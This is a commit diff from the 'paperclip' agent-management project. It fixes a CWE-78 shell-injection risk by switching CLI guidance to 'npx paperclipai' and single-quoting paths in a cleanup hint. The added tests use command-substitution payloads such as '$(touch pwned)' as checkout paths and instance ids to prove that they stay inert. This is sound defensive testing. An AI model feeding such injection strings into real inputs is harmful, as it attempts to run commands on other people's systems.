Skip to content

The open-source app everyone uses to manage agents at work

fix(security): route paperclipai CLI guidance through safe npx form (CWE-78) (#11400)

Nicky Leachfdb9a4880db3
diff --git a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
index 29af882a84..06e6b2efe5 100644
--- a/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
+++ b/.agents/skills/paperclip-dev-workspace-run-verify-fix/SKILL.md
@@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
or the user explicitly asks for the normal isolated-workspace database.
```sh
-pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
+npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
```
After reseed, restart through the managed runtime path. A reseed can copy
diff --git a/.agents/skills/paperclip-page/README.md b/.agents/skills/paperclip-page/README.md
index 47cf6d0f1e..21bf74d334 100644
--- a/.agents/skills/paperclip-page/README.md
+++ b/.agents/skills/paperclip-page/README.md
@@ -493,12 +493,12 @@ Create secrets from environment variables so values do not land in shell history
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
-pnpm exec paperclipai secrets create \
+npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-access-key-id \
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
-pnpm exec paperclipai secrets create \
+npx paperclipai secrets create \
--company-id <company-id> \
--name paperclip-page-aws-secret-access-key \
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
@@ -532,7 +532,7 @@ host `AWS_PROFILE` identity for the entire agent run:
Create or update the company skill from this package:
```bash
-pnpm exec paperclipai skills create \
+npx paperclipai skills create \
--company-id <company-id> \
--name "Paperclip Page" \
--slug paperclip-page \
@@ -543,7 +543,7 @@ pnpm exec paperclipai skills create \
Attach it to an agent:
```bash
-pnpm exec paperclipai skills agent sync <agent-id-or-shortname> \
+npx paperclipai skills agent sync <agent-id-or-shortname> \
--company-id <company-id> \
--skill paperclip-page
```
diff --git a/cli/src/__tests__/env-lab.test.ts b/cli/src/__tests__/env-lab.test.ts
index 02d6d7daf1..6afa22660b 100644
--- a/cli/src/__tests__/env-lab.test.ts
+++ b/cli/src/__tests__/env-lab.test.ts
@@ -1,6 +1,13 @@
import path from "node:path";
-import { describe, expect, it } from "vitest";
-import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import * as p from "@clack/prompts";
+import {
+ buildEnvLabCleanupCommand,
+ collectEnvLabDoctorStatus,
+ envLabDoctorCommand,
+ resolveEnvLabCliInvocation,
+ resolveEnvLabSshStatePath,
+} from "../commands/env-lab.js";
describe("env-lab command", () => {
it("resolves the default SSH fixture state path under the instance root", () => {
@@ -22,3 +29,259 @@ describe("env-lab command", () => {
expect(status.ssh.environment).toBeNull();
});
});
+
+describe("env-lab cleanup command hint", () => {
+ const originalCwd = process.cwd();
+
+ afterEach(() => {
+ process.chdir(originalCwd);
+ });
+
+ // Resolve a source-checkout invocation for a fabricated checkout root. A source
+ // checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
+ // resolver reads that layout and returns the tsx runner and source entry.
+ function sourceInvocation(root: string) {
+ return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
+ }
+
+ // Resolve a bundled-build invocation for a fabricated package root. The bundled
+ // build runs this module from `<root>/dist/index.js`, so the resolver returns
+ // that file as the entry with no tsx runner.
+ function bundledInvocation(root: string) {
+ return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
+ }
+
+ // Split a command that uses POSIX single-quoting into its argument tokens. The
+ // parser reads a single-quoted span verbatim and reads `\'` outside a span as a
+ // literal single quote. This is the same rule a POSIX shell obeys, so a token
+ // list proves the shell reads the exact paths and runs no embedded command.
+ function tokenizePosix(command: string): string[] {
+ const tokens: string[] = [];
+ let current = "";
+ let started = false;
+ let inQuotes = false;
+ for (let index = 0; index < command.length; index += 1) {
+ const character = command[index];
+ if (inQuotes) {
+ if (character === "'") {
+ inQuotes = false;
+ } else {
+ current += character;
+ }
+ } else if (character === "'") {
+ inQuotes = true;
+ started = true;
+ } else if (character === "\\") {
+ index += 1;
+ current += command[index];
+ started = true;
+ } else if (character === " ") {
+ if (started) {
+ tokens.push(current);
+ current = "";
+ started = false;
+ }
+ } else {
+ current += character;
+ started = true;
+ }
+ }
+ if (started) {
+ tokens.push(current);
+ }
+ return tokens;
+ }
+
+ // Return the two path arguments from the `node` command.
+ function extractPaths(command: string): string[] {
+ const tokens = tokenizePosix(command);
+ return tokens.slice(1, 3);
+ }
+
+ it("resolves both CLI paths to absolute paths", () => {
+ const command = buildEnvLabCleanupCommand();
+ const paths = extractPaths(command);
+
+ expect(paths).toHaveLength(2);
+ for (const resolved of paths) {
+ expect(path.isAbsolute(resolved)).toBe(true);
+ }
+ expect(command.endsWith("env-lab down")).toBe(true);
+ });
+
+ it("points at the checked-out tsx runner and cli source entry", () => {
+ const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
+
+ expect(tsxBin).toContain(
+ path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
+ );
+ expect(entry).toContain(path.join("cli", "src", "index.ts"));
+ });
+
+ it("returns the same command from a checkout subdirectory", () => {
+ const fromRoot = buildEnvLabCleanupCommand();
+
+ // Simulate a contributor who runs `env-lab doctor` from a subdirectory of
+ // the checkout. A relative path would change with the working directory, so
+ // this asserts the command stays constant.
+ process.chdir(path.dirname(originalCwd));
+ const fromParent = buildEnvLabCleanupCommand();
+ process.chdir(originalCwd);
+
+ expect(fromParent).toBe(fromRoot);
+ });
+
+ it("never restores the unsafe pnpm invocation forms", () => {
+ const command = buildEnvLabCleanupCommand();
+
+ // The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
+ // does not resolve the CLI binary. Keep both out of the hint.
+ expect(command).not.toContain("pnpm paperclipai");
+ expect(command).not.toContain("pnpm exec paperclipai");
+ });
+
+ // A checkout path can hold shell metacharacters. A contributor copies the hint
+ // and pastes it into a shell. The hint must neutralize each metacharacter, so
+ // the shell reads the exact path and runs no embedded command. Each case below
+ // is a checkout root with one dangerous construct.
+ const dangerousRoots = [
+ { label: "a dollar sign", root: "/tmp/env$lab/checkout" },
+ { label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
+ { label: "backticks", root: "/tmp/`touch pwned`/checkout" },
+ { label: "a double quote", root: '/tmp/env"lab/checkout' },
+ { label: "a single quote", root: "/tmp/env'lab/checkout" },
+ ];
+
+ for (const { label, root } of dangerousRoots) {
+ it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
+ const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
+ const tokens = tokenizePosix(command);
+ const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
+ const entry = path.join(root, "src", "index.ts");
+
+ // The shell reads the exact paths as single argument tokens. It does not
+ // split the paths or run the embedded construct.
+ expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
+
+ // The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
+ // live. Do not restore it.
+ expect(command).not.toContain(`"${tsxBin}"`);
+ expect(command).not.toContain(`"${entry}"`);
+ });
+ }
+
+ it("forwards the inspected instance to the cleanup hint", () => {
+ const command = buildEnvLabCleanupCommand({
+ instance: "fixture-test",
+ invocation: sourceInvocation("/tmp/checkout"),
+ });
+ const tokens = tokenizePosix(command);
+
+ // The hint ends with `--instance <id>`, so it stops the fixture the doctor
+ // command diagnosed, not the default instance.
+ expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
+ });
+
+ it("omits the instance flag when the doctor command uses the default instance", () => {
+ const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
+
+ // Without a selected instance, `env-lab down` resolves the same default
+ // instance the doctor command inspected. Do not add an empty flag.
+ expect(command).not.toContain("--instance");
+ expect(command.endsWith("env-lab down")).toBe(true);
+ });
+
+ it("keeps an instance id with shell metacharacters inert", () => {
+ const command = buildEnvLabCleanupCommand({
+ instance: "$(touch pwned)",
+ invocation: sourceInvocation("/tmp/checkout"),
+ });
+ const tokens = tokenizePosix(command);
+
+ // The shell reads the instance id as one literal token and runs no embedded
+ // command.
+ expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
+ expect(command).not.toContain('"$(touch pwned)"');
+ });
+
+ it("runs the bundled dist entry directly, without the tsx runner", () => {
+ const command = buildEnvLabCleanupCommand({
+ invocation: bundledInvocation("/opt/pkg"),
+ });
+ const tokens = tokenizePosix(command);
+
+ // The published package ships one `dist/index.js` file and no tsx runner, so
+ // node runs that file directly.
+ expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
+ expect(command).not.toContain("tsx");
+ expect(command).not.toContain(path.join("src", "index.ts"));
+ });
+
+ it("keeps a bundled package path with shell metacharacters inert", () => {
+ const root = "/opt/$(touch pwned)/pkg";
+ const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
+ const tokens = tokenizePosix(command);
+ const entry = path.join(root, "dist", "index.js");
+
+ // The shell reads the exact bundled path as one token and runs no embedded
+ // command.
+ expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
+ expect(command).not.toContain(`"${entry}"`);
+ });
+});
+
+describe("env-lab doctor cleanup hint instance", () => {
+ const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+
+ afterEach(() => {
+ if (originalInstanceId === undefined) {
+ delete process.env.PAPERCLIP_INSTANCE_ID;
+ } else {
+ process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
+ }
+ vi.restoreAllMocks();
+ });
+
+ // Capture the cleanup hint the doctor prints. The doctor reports through
+ // `p.log`, so the test replaces each channel and reads the captured lines.
+ function captureDoctorMessages(): string[] {
+ const messages: string[] = [];
+ vi.spyOn(p.log, "message").mockImplementation((message?: string) => {
+ messages.push(message ?? "");
+ });
+ vi.spyOn(p.log, "success").mockImplementation(() => {});
+ vi.spyOn(p.log, "warn").mockImplementation(() => {});
+ vi.spyOn(p.log, "info").mockImplementation(() => {});
+ return messages;
+ }
+
+ it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
+ // The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
+ // The cleanup hint must target that instance, not the default instance.
+ process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
+ const messages = captureDoctorMessages();
+
+ await envLabDoctorCommand({ instance: undefined });
+
+ const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
+ expect(cleanup).toBeDefined();
+ expect(cleanup).toContain("env-lab down");
+ expect(cleanup).toContain("--instance");
+ expect(cleanup).toContain("env-selected-instance");
+ });
+
+ it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
+ // An explicit `--instance` flag overrides the environment variable, so the
+ // hint targets the explicit instance the doctor inspected.
+ process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
+ const messages = captureDoctorMessages();
+
+ await envLabDoctorCommand({ instance: "explicit-instance" });
+
+ const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
+ expect(cleanup).toBeDefined();
+ expect(cleanup).toContain("--instance");
+ expect(cleanup).toContain("explicit-instance");
+ expect(cleanup).not.toContain("env-selected-instance");
+ });
+});
diff --git a/cli/src/__tests__/http.test.ts b/cli/src/__tests__/http.test.ts
index 0829f06baa..e0e1e61b74 100644
--- a/cli/src/__tests__/http.test.ts
+++ b/cli/src/__tests__/http.test.ts
@@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => {
/curl http:\/\/localhost:3100\/api\/health/,
);
await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
- /pnpm dev|pnpm paperclipai run/,
+ /pnpm dev|npx paperclipai run/,
);
});
diff --git a/cli/src/client/http.ts b/cli/src/client/http.ts
index 745cf15db2..dd4f784776 100644
--- a/cli/src/client/http.ts
+++ b/cli/src/client/http.ts
@@ -233,7 +233,7 @@ function buildConnectionErrorMessage(input: {
"This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.",
"",
"Try:",
- "- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.",
+ "- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.",
`- Verify the server is reachable with \`curl ${healthUrl}\`.`,
`- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`,
);
diff --git a/cli/src/commands/env-lab.ts b/cli/src/commands/env-lab.ts
index 55227c9f63..2e65bd36bf 100644
--- a/cli/src/commands/env-lab.ts
+++ b/cli/src/commands/env-lab.ts
@@ -1,4 +1,5 @@
import path from "node:path";
+import { fileURLToPath } from "node:url";
import type { Command } from "commander";
import * as p from "@clack/prompts";
import pc from "picocolors";
@@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea
p.log.message(`State: ${pc.dim(statePath)}`);
}
+// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so
+// a contributor can paste it into a shell. A checkout path can hold shell
+// metacharacters, such as `$`, a backtick, or a double quote. Inside double
+// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and
+// a double quote in the path ends the quoted span. So double quotes do not make
+// the path safe. Single quotes stop every expansion. This function wraps the
+// value in single quotes and rewrites each embedded single quote as the `'\''`
+// sequence. The shell then reads the exact path and runs no embedded command.
+function shellQuoteArgument(value: string): string {
+ return "'" + value.replace(/'/g, "'\\''") + "'";
+}
+
+// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build
+// emits one `dist/index.js` file, so node runs that file directly and `tsxBin`
+// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx
+// runner, because the entry is TypeScript.
+interface EnvLabCliInvocation {
+ entry: string;
+ tsxBin: string | null;
+}
+
+// Resolve how to re-run the CLI from the running module location. The cleanup
+// hint must run the same CLI that prints it, so it stops the correct version.
+// `import.meta.url` gives the running module. The bundled build runs this module
+// from `<cli>/dist/index.js`, so the hint runs that exact file with node. The
+// published package ships no `src` directory and no tsx runner. A source
+// checkout runs this module from `<cli>/src/commands/env-lab.ts`, so the hint
+// runs `<cli>/src/index.ts` through the checked-out tsx runner. This resolver
+// reads an absolute path from the module location, so the hint works from any
+// working directory. The `modulePath` parameter is a test seam; production
+// callers use the running module path.
+export function resolveEnvLabCliInvocation(
+ modulePath: string = fileURLToPath(import.meta.url),
+): EnvLabCliInvocation {
+ const moduleDir = path.dirname(modulePath);
+ const isSourceCheckout =
+ path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src";
+ if (isSourceCheckout) {
+ const cliRoot = path.resolve(moduleDir, "..", "..");
+ return {
+ entry: path.join(cliRoot, "src", "index.ts"),
+ tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"),
+ };
+ }
+ return { entry: modulePath, tsxBin: null };
+}
+
+// Build the env-lab cleanup hint as a copyable shell command. The hint stops the
+// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it,
+// so it stops the correct version, and it forwards the inspected instance, so it
+// stops the correct instance. It passes an inert `argv` value, so no shell reads
+// the argument. Each path and the instance id pass through `shellQuoteArgument`,
+// so a shell metacharacter stays inert when a contributor pastes the command.
+// The `invocation` parameter is a test seam; production callers use the resolved
+// running-module invocation.
+export function buildEnvLabCleanupCommand(
+ opts: { instance?: string; invocation?: EnvLabCliInvocation } = {},
+): string {
+ const invocation = opts.invocation ?? resolveEnvLabCliInvocation();
+ const parts = ["node"];
+ if (invocation.tsxBin !== null) {
+ parts.push(shellQuoteArgument(invocation.tsxBin));
+ }
+ parts.push(shellQuoteArgument(invocation.entry), "env-lab down");
+ if (opts.instance !== undefined) {
+ parts.push("--instance", shellQuoteArgument(opts.instance));
+ }
+ return parts.join(" ");
+}
+
export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) {
const status = await collectEnvLabDoctorStatus(opts);
@@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool
p.log.message(`State: ${pc.dim(status.statePath)}`);
}
- p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`);
+ // The cleanup hint runs the same CLI that prints it, so it stops the correct
+ // version. The bundled build runs `dist/index.js`; a source checkout runs
+ // `src/index.ts` through the checked-out tsx runner. The hint uses absolute
+ // paths, so it works from any working directory. It passes an inert `argv`
+ // value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation".
+ //
+ // The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects
+ // from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable.
+ // The hint pins that resolved instance, so a contributor who pastes the hint
+ // in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not
+ // the default instance.
+ const cleanupInstance = resolvePaperclipInstanceId(opts.instance);
+ p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`);
}
export function registerEnvLabCommands(program: Command) {
diff --git a/doc/CLI.md b/doc/CLI.md
index c5eff04686..f01291b299 100644
--- a/doc/CLI.md
+++ b/doc/CLI.md
@@ -8,53 +8,112 @@ Paperclip CLI now supports both:
## Security: safe invocation for content-bearing arguments
-Use `pnpm exec paperclipai` for any command whose argument can hold untrusted or
+Use `npx paperclipai` for any command whose argument can hold untrusted or
semi-trusted content. Untrusted content includes issue text, comment bodies,
-Markdown, pasted snippets, and model output. `pnpm exec` runs the installed
-binary directly. It passes the argument as an inert `argv` value. It does not
-run a shell over the value.
+Markdown, pasted snippets, and model output. `npx` runs the CLI binary directly.
+It passes the argument as an inert `argv` value. It does not run a shell over the
+value. `npx paperclipai` works on any machine with Node: it runs a local install
+of the `paperclipai` package, and it fetches the published package when no local
+install is present.
-Do not use `pnpm paperclipai` for a content-bearing argument. The safe form and
-the unsafe form differ only by the `exec` keyword, so read the command with
-care. `pnpm paperclipai` is a `package.json` script. `pnpm` runs the argument
-through `/bin/sh` first. The shell interprets these metacharacters before the
-CLI starts:
+Do not use `pnpm paperclipai` for a content-bearing argument. `pnpm paperclipai`
+is a `package.json` script. `pnpm` builds a `/bin/sh` command string and appends
+the argument to it, so the shell reads the argument first. The shell interprets
+these spans before the CLI starts:
- command substitution: a backtick pair or `$( )`
- variable expansion: `$NAME` or `${NAME}` (this can leak a secret value into the persisted argument)
-- other shell syntax: `; | & < >`
A crafted value can run an arbitrary command as the invoking user. A crafted
value can also expand an environment variable into the stored argument. No
-CLI-side check stops this, because the shell runs before `cli/src` starts.
+CLI-side check stops this, because the shell runs before `cli/src` starts. This
+is true even when the argument comes from a quoted shell variable, because `pnpm`
+re-evaluates the value in its own shell.
Safe forms:
-- `pnpm exec paperclipai <command> <args>` — the documented default
-- `npx paperclipai <command> <args>` — also injection-safe; use it when no local
- install is present. `npx` fetches the package from the npm registry when the
- binary is not installed locally, so a mistyped name can start a network
- fetch. `pnpm exec` never does this; it runs only the locally installed binary.
-- `node <cli>/dist/index.js <command> <args>` — trusted direct-binary call
-
-Unsafe forms for a content-bearing argument:
-
-- `pnpm paperclipai <command> <args>`
-- `pnpm run <script> -- <args>`
-- any `package.json` script that wraps the CLI
-
-`pnpm paperclipai` stays acceptable only for local lifecycle and setup commands
-that take fixed, trusted arguments (for example `run`, `onboard`, `doctor`,
-`configure --section <name>`, `connect`, `env-lab up`, `worktree ensure-seeded`).
-A command is content-bearing, and needs `pnpm exec`, when it takes a non-fixed
-value: a hostname (`allowed-hostname`), an import URL or folder (`company
-import`), an identifier or secret (`--company-id`, `--agent-id`,
-`--claim-secret`), a payload (`--payload-json`), or free text (`--body`,
-`--title`, `--comment`). A runtime value counts as non-fixed even when it looks
-safe: the private-hostname guard builds `allowed-hostname <value>` from the
-request Host header, so it must use `pnpm exec`. The `pnpm --filter
-@paperclipai/*` build and test commands are not CLI invocation. They do not
-change.
+- `npx paperclipai <command> <args>` — the documented default. It passes an inert
+ `argv` value and runs on any machine.
+- `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts <command> <args>` —
+ the safe form to run the local source from a monorepo checkout. It is the exact
+ command that the `pnpm paperclipai` script wraps, but it runs directly, so no
+ shell reads the argument. Use it when you must test your local `cli/src`
+ changes with a content-bearing argument.
+
+Unsafe or broken forms:
+
+- `pnpm paperclipai <command> <args>` — unsafe. `pnpm` runs the argument through a
+ shell first.
+- `pnpm run <script> -- <args>`, or any `package.json` script that wraps the CLI —
+ unsafe for the same reason.
+- `pnpm exec paperclipai <command> <args>` — broken. The root workspace does not
+ depend on the `paperclipai` package, so `pnpm` does not link its binary into
+ `node_modules/.bin`. The command fails with `Command "paperclipai" not found`,
+ even after a build. Do not use it.
+
+Static placeholders only: a document must show a static placeholder such as
+`<host>` in a command example, never a live `$( )` or `$NAME` span. The reader's
+own shell expands such a span on paste, before any CLI or `npx` receives argv, so
+a direct-exec form does not stop it.
+
+`pnpm paperclipai` stays acceptable only for a fully literal local lifecycle or
+setup command. A fully literal command carries no substitutable value. It has no
+placeholder, no example value the reader replaces, no interpolation, no path, no
+ref, no id, and no name. It holds the subcommand and, at most, flags that take no
+value.
+
+The allowlist of literal commands lives in one place:
+`server/src/__tests__/cli-invocation-safety.test.ts`. A guard test enforces it
+fail-closed. Any `pnpm paperclipai` line whose command string is not an exact
+allowlist entry is an offender. The allowlist holds commands such as `run`,
+`onboard`, `onboard --yes`, `doctor`, `configure --section <name>`, `connect`,
+`env-lab up`, `env-lab down`, `context show`, `context list`,
+`worktree ensure-seeded`, and `worktree env`.
+
+Every invocation that carries a positional value or an option value uses
+`npx paperclipai` instead. This covers a hostname (`allowed-hostname`), an import
+URL or folder (`company import`), an identifier or secret (`--company-id`,
+`--agent-id`, `--claim-secret`), a payload (`--payload-json`), free text
+(`--body`, `--title`, `--comment`), a data directory (`--data-dir`), an instance
+(`--instance`), a bind preset (`--bind`), a context-profile name, and every
+worktree path, ref, id, or name option. A runtime value counts as non-fixed even
+when it looks safe. The private-hostname guard builds `allowed-hostname <value>`
+from the request Host header, so it uses `npx paperclipai`.
+
+For a command that must run the local checked-out source with a value, use the
+direct-exec form: `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts
+<command> <args>`.
+
+The `pnpm --filter @paperclipai/*` build and test commands are not CLI
+invocation. They do not change.
+
+### Offline and air-gapped use
+
+`npx paperclipai` runs offline when the `paperclipai` package is already in a
+local install or in the npm cache. It reaches the network only when the package
+is in neither place.
+
+To force cache-only resolution and block any network attempt, run
+`npx --offline paperclipai <command> <args>`. Use `npx --prefer-offline
+paperclipai` when you accept a fetch only for a missing package.
+
+To prepare an air-gapped host, install the package one time while the host is
+online. Run `npm install -g paperclipai`, or run the documented `install.sh`
+path. After that step, both `npx paperclipai` and the installed `paperclipai`
+binary run offline. Both pass an inert `argv` value.
+
+To move the package without a registry, run `npm pack paperclipai` on an online
+host. Copy the tarball to the air-gapped host. Run `npm install -g
+./paperclipai-<version>.tgz`.
+
+Do not use `pnpm paperclipai` as an offline fallback for a content-bearing
+argument. It runs the argument through a shell first, offline or online. It also
+resolves only inside a monorepo checkout.
+
+A monorepo contributor who works offline uses the direct-exec form that this
+section documents above: `node cli/node_modules/tsx/dist/cli.mjs
+cli/src/index.ts <command> <args>`. It passes an inert `argv` value and runs the
+local source.
## Base Usage
@@ -92,7 +151,7 @@ pnpm paperclipai run
Choose local instance:
```sh
-pnpm paperclipai run --instance dev
+npx paperclipai run --instance dev
```
## Install, Update, And Uninstall
@@ -166,7 +225,7 @@ Canonical behavior is documented in `doc/DEPLOYMENT-MODES.md`.
Allow an authenticated/private hostname (for example custom Tailscale DNS):
```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
```
Bring up the default local SSH fixture for environment testing:
@@ -215,8 +274,8 @@ Profiles store token env-var names, not plaintext tokens. The wizard prints shel
Use `--data-dir` on any CLI command to isolate all default local state (config/context/db/logs/storage/secrets) away from `~/.paperclip`:
```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
-pnpm paperclipai issue list --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai issue list --data-dir ./tmp/paperclip-dev
```
## Context Profiles
@@ -224,45 +283,45 @@ pnpm paperclipai issue list --data-dir ./tmp/paperclip-dev
Store local defaults in `~/.paperclip/context.json`:
```sh
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
-pnpm exec paperclipai context set --persona agent --agent-id <agent-id> --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
+npx paperclipai context set --persona agent --agent-id <agent-id> --api-key-env-var-name PAPERCLIP_API_KEY
pnpm paperclipai context show
pnpm paperclipai context list
-pnpm paperclipai context use default
+npx paperclipai context use default
```
To avoid storing secrets in context, set `apiKeyEnvVarName` and keep the key in env:
```sh
-pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
export PAPERCLIP_API_KEY=...
```
## Company Commands
```sh
-pnpm exec paperclipai company list
-pnpm exec paperclipai company get <company-id>
-pnpm exec paperclipai company current [--company-id <company-id>]
-pnpm exec paperclipai company stats
-pnpm exec paperclipai company create --payload-json '{...}'
-pnpm exec paperclipai company update <company-id> --payload-json '{...}'
-pnpm exec paperclipai company branding:update <company-id> --payload-json '{...}'
-pnpm exec paperclipai company archive <company-id>
-pnpm exec paperclipai company export <company-id> --out ./company --include company,agents,projects,issues,skills
-pnpm exec paperclipai company export:preview <company-id> --payload-json '{...}'
-pnpm exec paperclipai company export:api <company-id> --payload-json '{...}'
-pnpm exec paperclipai company import ./company --target new --new-company-name "Imported Company"
-pnpm exec paperclipai company import:preview <company-id> --payload-json '{...}'
-pnpm exec paperclipai company import:apply <company-id> --payload-json '{...}'
-pnpm exec paperclipai company delete <company-id-or-prefix> --yes --confirm <same-id-or-prefix>
+npx paperclipai company list
+npx paperclipai company get <company-id>
+npx paperclipai company current [--company-id <company-id>]
+npx paperclipai company stats
+npx paperclipai company create --payload-json '{...}'
+npx paperclipai company update <company-id> --payload-json '{...}'
+npx paperclipai company branding:update <company-id> --payload-json '{...}'
+npx paperclipai company archive <company-id>
+npx paperclipai company export <company-id> --out ./company --include company,agents,projects,issues,skills
+npx paperclipai company export:preview <company-id> --payload-json '{...}'
+npx paperclipai company export:api <company-id> --payload-json '{...}'
+npx paperclipai company import ./company --target new --new-company-name "Imported Company"
+npx paperclipai company import:preview <company-id> --payload-json '{...}'
+npx paperclipai company import:apply <company-id> --payload-json '{...}'
+npx paperclipai company delete <company-id-or-prefix> --yes --confirm <same-id-or-prefix>
```
Examples:
```sh
-pnpm exec paperclipai company delete PAP --yes --confirm PAP
-pnpm exec paperclipai company delete 5cbe79ee-acb3-4597-896e-7662742593cd --yes --confirm 5cbe79ee-acb3-4597-896e-7662742593cd
+npx paperclipai company delete PAP --yes --confirm PAP
+npx paperclipai company delete 5cbe79ee-acb3-4597-896e-7662742593cd --yes --confirm 5cbe79ee-acb3-4597-896e-7662742593cd
```
Notes:
@@ -279,149 +338,149 @@ Notes:
## Issue Commands
```sh
-pnpm exec paperclipai issue list --company-id <company-id> [--status todo,in_progress] [--assignee-agent-id <agent-id>] [--match text]
-pnpm exec paperclipai issue get <issue-id-or-identifier>
-pnpm exec paperclipai issue create --company-id <company-id> --title "..." [--description "..."] [--status todo] [--priority high]
-pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
-pnpm exec paperclipai issue delete <issue-id> --yes
-pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
-pnpm exec paperclipai issue comments <issue-id> [--limit 50]
-pnpm exec paperclipai issue comment:get <issue-id> <comment-id>
-pnpm exec paperclipai issue comment:delete <issue-id> <comment-id>
-pnpm exec paperclipai issue runs <issue-id-or-identifier>
-pnpm exec paperclipai issue live-runs <issue-id-or-identifier>
-pnpm exec paperclipai issue active-run <issue-id-or-identifier>
-pnpm exec paperclipai issue heartbeat-context <issue-id>
-pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id> [--expected-statuses todo,backlog,blocked]
-pnpm exec paperclipai issue release <issue-id>
-pnpm exec paperclipai issue force-release <issue-id>
+npx paperclipai issue list --company-id <company-id> [--status todo,in_progress] [--assignee-agent-id <agent-id>] [--match text]
+npx paperclipai issue get <issue-id-or-identifier>
+npx paperclipai issue create --company-id <company-id> --title "..." [--description "..."] [--status todo] [--priority high]
+npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
+npx paperclipai issue delete <issue-id> --yes
+npx paperclipai issue comment <issue-id> --body "..." [--reopen]
+npx paperclipai issue comments <issue-id> [--limit 50]
+npx paperclipai issue comment:get <issue-id> <comment-id>
+npx paperclipai issue comment:delete <issue-id> <comment-id>
+npx paperclipai issue runs <issue-id-or-identifier>
+npx paperclipai issue live-runs <issue-id-or-identifier>
+npx paperclipai issue active-run <issue-id-or-identifier>
+npx paperclipai issue heartbeat-context <issue-id>
+npx paperclipai issue checkout <issue-id> --agent-id <agent-id> [--expected-statuses todo,backlog,blocked]
+npx paperclipai issue release <issue-id>
+npx paperclipai issue force-release <issue-id>
```
